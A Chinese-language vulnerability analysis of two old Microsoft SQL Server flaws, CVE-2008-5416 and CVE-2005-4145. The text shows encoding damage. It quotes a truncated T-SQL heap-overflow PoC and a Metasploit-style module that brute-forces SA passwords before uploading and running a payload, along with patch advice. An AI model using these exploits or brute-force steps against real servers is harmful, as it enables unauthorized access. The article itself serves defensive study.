0x01 Microsoft SQL Server數(shù)據(jù)庫(kù)簡(jiǎn)介
Microsoft SQL Server是微軟公司推出的關(guān)系型數(shù)據(jù)庫(kù)管理系統(tǒng),因其具有使用方便與可伸縮性好,且與相關(guān)軟件集成程度高等優(yōu)點(diǎn),從而被廣泛使用。Microsoft SQL Server 數(shù)據(jù)庫(kù)引擎為關(guān)系型數(shù)據(jù)和結(jié)構(gòu)化數(shù)據(jù)提供了更安全可靠的存儲(chǔ)功能,可以構(gòu)建和管理對(duì)高可用和高性能有需求的業(yè)務(wù)業(yè)務(wù)場(chǎng)景。
目前Microsoft SQL Server數(shù)據(jù)庫(kù)在全球的應(yīng)用量也比較靠前,據(jù)統(tǒng)計(jì),在全球范圍內(nèi)對(duì)互聯(lián)網(wǎng)開(kāi)放Microsoft SQL Server數(shù)據(jù)庫(kù)服務(wù)的資產(chǎn)數(shù)量多達(dá)237,065臺(tái),發(fā)現(xiàn)中國(guó)地區(qū)對(duì)外開(kāi)放的Microsoft SQL Server數(shù)據(jù)庫(kù)服務(wù)數(shù)量排名第一,數(shù)量為75793臺(tái),接近全球總量的30%。排名第二與第三的分別是美國(guó)與荷蘭地區(qū),其對(duì)外開(kāi)放的Microsoft SQL Server數(shù)據(jù)庫(kù)服務(wù)數(shù)量分別為35,965臺(tái)和33,664臺(tái)。由此看來(lái),國(guó)內(nèi)使用Microsoft SQL Server數(shù)據(jù)庫(kù)的用戶(hù)很廣泛,對(duì)Microsoft SQL Server數(shù)據(jù)庫(kù)的漏洞防范就顯得尤為重要了。

(統(tǒng)計(jì)數(shù)據(jù)僅為對(duì)互聯(lián)網(wǎng)開(kāi)放的資產(chǎn),本數(shù)據(jù)來(lái)源于FOFA。)
0x02 Microsoft SQL Server漏洞概述
近幾年Microsoft SQL Server數(shù)據(jù)庫(kù)爆發(fā)的漏洞數(shù)量與其它類(lèi)型數(shù)據(jù)庫(kù)相比,所暴露出來(lái)的漏洞相對(duì)較少。在此,挑選兩個(gè)可利用性高,且具有代表性的漏洞進(jìn)行分析,分析列表如下:

0x03 Microsoft SQL Server漏洞分析
1、CVE-2008-5416 漏洞分析
一、漏洞信息:

二、漏洞概述:
Microsoft SQL Server是一款流行的SQL數(shù)據(jù)庫(kù)系統(tǒng)。Microsoft SQL Server的sp_replwritetovarbin擴(kuò)展存儲(chǔ)過(guò)程中存在堆溢出漏洞,如果遠(yuǎn)程攻擊者在參數(shù)中提供了未初始化變量的話(huà),就可以觸發(fā)這個(gè)溢出,向可控的位置寫(xiě)入內(nèi)存,導(dǎo)致已有漏洞SQL Server進(jìn)程的權(quán)限執(zhí)行任意代碼。在默認(rèn)的配置中,任何用戶(hù)都可以訪問(wèn)sp_replwritetovarbin過(guò)程。通過(guò)認(rèn)證的用戶(hù)可以通過(guò)直接的數(shù)據(jù)庫(kù)連接或SQL注入來(lái)利用這個(gè)漏洞。
三、漏洞影響:
· Microsoft SQL Server 受CVE-2008-5416漏洞影響的版本如下:
· MSSQL 2000 / MSDE SP0 (8.00.194)
· MSSQL 2000 / MSDE SP1 (8.00.384)
· MSSQL 2000 / MSDE SP2 (8.00.534)
· MSSQL 2000 / MSDE SP3 (8.00.760)
· MSSQL 2000 / MSDE SP4 (8.00.2039)
· MSSQL 2005 SP0 (9.00.1399.06)
· MSSQL 2005 SP1 (9.00.2047.00)
· MSSQL 2005 SP2 (9.00.3042.00)
四、漏洞分析:
1、CVE-2008-5416漏洞PoC利用代碼分析:
我們從互聯(lián)網(wǎng)中找到了CVE-2008-5416漏洞PoC,如下是漏洞PoC利用代碼片段:
DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT
SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
@end_offset output,
@vb_buffer output,
@vb_bufferlen output,'''
SET @val = CHAR(0x41)
SET @counter = 0
WHILE @counter
通過(guò)PoC代碼可以看出,先定義未初始化的自定義變量,然后傳入超長(zhǎng)數(shù)據(jù)段(數(shù)據(jù)段中可構(gòu)造惡意攻擊代碼),通過(guò)sp_replwritetovarbin擴(kuò)展在存儲(chǔ)過(guò)程中進(jìn)行堆溢出,將構(gòu)造的攻擊代碼寫(xiě)入內(nèi)存并執(zhí)行。
2、CVE-2008-5416漏洞攻擊流量分析:
攻擊者TDS協(xié)議對(duì)靶機(jī)發(fā)起遠(yuǎn)程登陸認(rèn)證請(qǐng)求,因?yàn)樵撀┒粗挥羞h(yuǎn)程認(rèn)證成功后才可以進(jìn)一步被利用。如下所示:

當(dāng)?shù)顷懻?qǐng)求認(rèn)證成功后,進(jìn)一步查詢(xún)數(shù)據(jù)庫(kù)服務(wù)器的版本信息。如下所示:

在確定數(shù)據(jù)庫(kù)系統(tǒng)的版本信息后,再進(jìn)一步選擇對(duì)應(yīng)的攻擊PayLoad載荷,進(jìn)行存儲(chǔ)過(guò)程溢出攻擊。如下所示:

五、漏洞驗(yàn)證:
通過(guò)Metasploit滲透測(cè)試框架對(duì)存在CVE-2008-5416漏洞的靶機(jī)進(jìn)行測(cè)試,發(fā)現(xiàn)可以利用成功。如下圖所示:

六、漏洞修復(fù)建議:
Microsoft已經(jīng)為此發(fā)布了一個(gè)安全公告(MS09-004)以及相應(yīng)補(bǔ)丁。鏈接如下:
https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2009/ms09-004
2、CVE-2005-4145漏洞分析:
一、漏洞信息:
· 漏洞名稱(chēng):Lyris ListManager MSDE Weak SA Password Vulnerability
· 漏洞編號(hào):CVE-2005-4145
· 漏洞類(lèi)型:Weak Password Vulnerability
二、漏洞概述:
Lyris_technologies_inc Listmanager是Microsoft SQL Server MSDE中的一款重要組件,由于Lyris_technologies_inc Listmanager 5.0 – 8.9b版本中存在將數(shù)據(jù)庫(kù)的SA帳戶(hù)配置為使用具有小型搜索空間的密碼的設(shè)計(jì)缺陷,導(dǎo)致攻擊者可遠(yuǎn)程通過(guò)暴力破解攻擊獲取Microsoft SQL Server數(shù)據(jù)庫(kù)的訪問(wèn)權(quán)。三、漏洞影響:
Lyris_technologies_inc Listmanager受CVE-2005-4145漏洞影響的版本如下:
· Lyris_technologies_inc Listmanager 5.0
· Lyris_technologies_inc Listmanager 6.0
· Lyris_technologies_inc Listmanager 7.0
· Lyris_technologies_inc Listmanager 8.0
· Lyris_technologies_inc Listmanager 8.8a
四、漏洞分析:
1、漏洞PoC代碼分析:
我們從互聯(lián)網(wǎng)中找到了CVE-2005-4145漏洞PoC,如下是漏洞PoC利用代碼片段:
def exploit
# New installations use a randomly generated suffix like "lyris629dAe536F"
pass = nil
while(true)
print_status("Trying to authenticate with password 'lminstall'...")
if(mssql_login('sa', 'lminstall'))
pass = 'lminstall'
break
end
print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
1.upto(65535) do |pid|
if(pid % 1000 == 0)
print_status(" >> Completed #{pid} of 65535 authentication requests")
end
if(mssql_login('sa', "lyris#{pid}"))
pass = "lyris#{pid}"
break
end
end
print_status("This system does not appear to be exploitable")
return
end
print_status("")
print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
print_status("")
exe = generate_payload_exe
mssql_upload_exec(exe)
handler
disconnect
end
end
從上面的漏洞PoC代碼可以看出,先嘗試使用賬號(hào)SA,密碼lminstall進(jìn)行嘗試登陸,如成功,就執(zhí)行下面的SQL利用代碼,否則,進(jìn)一步對(duì)SA賬戶(hù)進(jìn)行進(jìn)程PID暴力枚舉來(lái)獲取登陸權(quán)限,如登陸成功,同理,執(zhí)行下面的SQL利用代碼。
2、CVE-2005-4145漏洞PoC數(shù)據(jù)包分析:
攻擊者通過(guò)TDS協(xié)議對(duì)靶機(jī)不停的發(fā)起遠(yuǎn)程登陸認(rèn)證請(qǐng)求,用戶(hù)名為SA,不停的枚舉密碼。

五、漏洞驗(yàn)證:
通過(guò)Metasploit滲透測(cè)試框架對(duì)存在CVE-2005-4145漏洞的靶機(jī)進(jìn)行測(cè)試,發(fā)現(xiàn)可以利用成功。如下圖所示:

技巧提示:CVE-2005-4145漏洞PoC通過(guò)默認(rèn)賬號(hào)或指定賬號(hào)的方式來(lái)進(jìn)行枚舉測(cè)試,由于代碼實(shí)現(xiàn)比較簡(jiǎn)單,也比較雞肋。我們可自行通過(guò)Hydra等工具枚舉成功后,再將枚舉成功的值填寫(xiě)Password字段中,然后進(jìn)一步快速深度利用。
六、漏洞修復(fù)建議:
目前,官方已經(jīng)在Lyris_technologies_inc Listmanager 8.9b版本修復(fù)了此漏洞,可自行升級(jí)到8.9b及以上版本。
0x04結(jié)語(yǔ)
通過(guò)對(duì)Microsoft SQL Server進(jìn)行一些列的梳理和分析,可以從以下幾個(gè)維度進(jìn)行歸納和總結(jié):
1、高危漏洞主要分布在:Microsoft SQL Server 7、Microsoft SQL Server 2000、Microsoft SQL Server 2005這三個(gè)版本。
2、影響范圍比較廣的漏洞類(lèi)型有:緩沖區(qū)溢出漏洞、弱密碼、權(quán)限提升、拒絕服務(wù)等四種。
3、Microsoft SQL Server高危漏洞的觸發(fā)條件比較苛刻,基本上都需要先通過(guò)賬號(hào)進(jìn)行登陸才能進(jìn)一步利用。
4、Microsoft SQL Server類(lèi)漏洞比較集中爆發(fā)的時(shí)期是1997年至2005年這8年。隨著微軟對(duì)安全性越來(lái)越重視,在隨后發(fā)布的Microsoft SQL Server 2008及之后版本中存在的高危安全性問(wèn)題越來(lái)越少。
|